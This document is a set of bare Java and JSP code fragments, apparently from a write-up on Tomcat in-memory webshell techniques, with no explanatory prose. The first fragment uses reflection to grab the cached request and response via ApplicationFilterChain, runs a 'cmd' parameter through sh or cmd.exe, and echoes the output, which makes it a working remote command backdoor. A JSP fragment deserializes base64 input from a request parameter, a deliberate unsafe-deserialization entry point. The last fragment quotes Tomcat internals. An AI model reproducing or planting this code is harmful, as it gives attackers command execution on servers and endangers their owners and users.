Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);

ThreadLocal<ServletResponse> lastServicedResponse =
    (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
String cmd = lastServicedRequest != null
    ? lastServicedRequest.get().getParameter("cmd")
    : null;
if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
    lastServicedRequestField.set(null, new ThreadLocal<>());
    lastServicedResponseField.set(null, new ThreadLocal<>());
    WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
} else if (cmd != null) {
    ServletResponse responseFacade = lastServicedResponse.get();
    responseFacade.getWriter();
    java.io.Writer w = responseFacade.getWriter();
    Field responseField = ResponseFacade.class.getDeclaredField("response");
    responseField.setAccessible(true);
    Response response = (Response) responseField.get(responseFacade);
    Field usingWriter = Response.class.getDeclaredField("usingWriter");
    usingWriter.setAccessible(true);
    usingWriter.set((Object) response, Boolean.FALSE);

    boolean isLinux = true;
    String osTyp = System.getProperty("os.name");
    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
        isLinux = false;
    }
    String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
    Scanner s = new Scanner(in).useDelimiter("\\a");
    String output = s.hasNext() ? s.next() : "";
    w.write(output);
    w.flush();
}

<%
try {
    String input = request.getParameter("input");
    byte[] b = new sun.misc.BASE64Decoder().decodeBuffer(input);
    java.io.ObjectInputStream ois = new java.io.ObjectInputStream(new java.io.ByteArrayInputStream(b));
    ois.readObject();
} catch (Exception e) {
    e.printStackTrace();
}
%>

if (pos < n) {
    ApplicationFilterConfig filterConfig = filters[pos++];
    try {
        Filter filter = filterConfig.getFilter();
        ...
         filter.doFilter(request, response, this);
    } catch (...)
        ...
    }
    return;
}

// We fell off the end of the chain -- call the servlet instance
try {
    if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
        lastServicedRequest.set(request);
        lastServicedResponse.set(response);
    }

    if (request.isAsyncSupported() && !servletSupportsAsync) {
        request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR,
                             Boolean.FALSE);
    }
    // Use potentially wrapped request from this point
    if (...){
        ...
    } else {
        servlet.service(request, response);
    }
} catch (...) {
    ...
} finally {
    ...
}